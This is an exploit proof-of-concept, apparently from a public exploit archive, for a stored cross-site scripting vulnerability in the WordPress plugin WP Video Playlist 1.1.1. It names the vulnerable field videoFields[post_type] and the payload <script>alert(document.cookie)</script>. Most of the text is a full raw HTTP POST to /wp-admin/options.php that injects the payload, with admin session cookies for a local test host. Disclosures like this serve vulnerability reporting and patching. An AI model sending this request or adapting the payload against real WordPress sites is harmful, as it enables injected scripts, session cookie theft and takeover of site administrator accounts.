Wordpress Plugin WP Video Playlist 1.1.1 - Stored Cross-Site Scripting (XSS)

# Exploit Title: Wordpress Plugin WP Video Playlist 1.1.1 - Stored Cross-Site Scripting (XSS)
# Date: 12 April 2024
# Exploit Author: Erdemstar
# Vendor: https://wordpress.com/
# Version: 1.1.1

# Proof Of Concept:
1. Click Add Video part and enter the XSS payload as below into the first input of form or Request body named "videoFields[post_type]".

# PoC Video: https://www.youtube.com/watch?v=05dM91FiG9w
# Vulnerable Property at Request: videoFields[post_type]
# Payload: <script>alert(document.cookie)</script>
# Request:
POST /wp-admin/options.php HTTP/2
Host: erdemstar.local
Cookie: thc_time=1713843219; booking_package_accountKey=2; wordpress_sec_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7C27abdae5aa28462227b32b474b90f0e01fa4751d5c543b281c2348b60f078d2f; wp-settings-time-4=1711124335; cld_2=like; _hjSessionUser_3568329=eyJpZCI6ImY4MWE3NjljLWViN2MtNWM5MS05MzEyLTQ4MGRlZTc4Njc5OSIsImNyZWF0ZWQiOjE3MTEzOTM1MjQ2NDYsImV4aXN0aW5nIjp0cnVlfQ==; wp-settings-time-1=1712096748; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26uploader%3D1%26Categories_tab%3Dpop%26urlbutton%3Dfile%26editor%3Dtinymce%26unfold%3D1; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7Cc64c696fd4114dba180dc6974e102cc02dc9ab8d37482e5c4e86c8e84a1f74f9
Content-Length: 395
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://erdemstar.local
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://erdemstar.local/wp-admin/admin.php?page=video_manager
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

option_page=mediaManagerCPT&action=update&_wpnonce=29af746404&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dvideo_manager%26settings-updated%3Dtrue&videoFields%5BmeidaId%5D=1&videoFields%5Bpost_type%5D=<script>alert(document.cookie)</script>&videoFields%5BmediaUri%5D=dummy&videoFields%5BoptionName%5D=videoFields&videoFields%5BoptionType%5D=add&submit=Save+Changes